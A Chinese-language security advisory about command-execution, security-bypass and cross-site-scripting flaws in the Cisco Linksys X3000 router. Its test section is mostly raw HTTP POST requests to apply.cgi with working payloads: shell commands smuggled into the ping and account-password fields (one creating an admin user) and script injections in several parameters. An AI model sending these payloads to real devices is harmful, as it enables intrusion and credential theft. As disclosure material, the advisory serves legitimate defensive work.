发布日期：2013-06-22
更新日期：2013-06-25

受影响系统：

Cisco Linksys X3000 Router

描述：

---

BUGTRAQ  ID: 60736

Cisco Linksys X3000是无线路由器产品。

Cisco Linksys X3000 1.0.03 build 001 及其他版本存在多个命令执行漏洞、安全绕过漏洞、多个跨站脚本执行漏洞，攻击者可利用这些漏洞执行任意命令、绕过某些安全限制、窃取cookie身份验证凭证、在用户会话上下文中执行未授权操作。

<*来源：Michael Messner （michae.messner@integralis.com）
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

1. Command Injection:
POST /apply.cgi HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer: http://www.example.com/Diagnostics.asp
Authorization: Basic XXX=
Content-Type: application/x-www-form-urlencoded
Content-Length: 194
Connection: close

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_pin
g&action=&commit=0&nowait=1&ping_ip=%3b%20ping%20-c%201%20192%2e168%2e1%
2e147%20%3b&ping_size=&ping_times=5&traceroute_ip=

POST /apply.cgi HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/User_Properties.asp
Authorization: Basic XXX=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 444

command=device_data&cur_ipaddr=192.168.178.188&next_page=StorageAdminUse
rAdd1.htm&redirect_timer=1&reboot=0&data1=&next_page=&submit_button=User
_Properties&submit_type=create_user&change_action=gozila_cgi&Add_Account
_Group_Name=&access_group_name=&delete_groups=&Modify_Account_Name=&Add_
Account_Name=pwnd&full_name=pwnd&user_desc=pwnd&Add_Account_Password=`pi
ng%20192%2e168%2e178%2e103`&Add_Account_PasswordConfirm=pwnd&Add_Account
_Group=admin

2. Cross site scripting:

Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/Diagnostics.asp
Authorization: Basic XXX=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 156

submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_pin
g&action=&commit=0&nowait=1&ping_ip=1.1.1.1'><script>alert(1)</script>&p
ing_size=32&ping_times=5&traceroute_ip=

POST /apply.cgi HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/DHCPTable.asp
Authorization: Basic XXX=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 103

submit_button=DHCPTable&change_action=&submit_type=&small_screen=&ip=&ma
c=&if_name=&nowait=1&sortby=mac"%3balert(1)//

POST /apply.cgi HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://www.example.com/WanMAC.asp
Authorization: Basic XXX=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 106

submit_button=WanMAC'%3balert(1)//&change_action=&submit_type=&action=Ap
ply&wait_time=3&mac_clone_enable=0

建议：

---

厂商补丁：

Cisco
-----
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

http://www.linksys.com/en-eu/products/gateways/x3000

浏览次数：4605
严重程度：0（网友投票）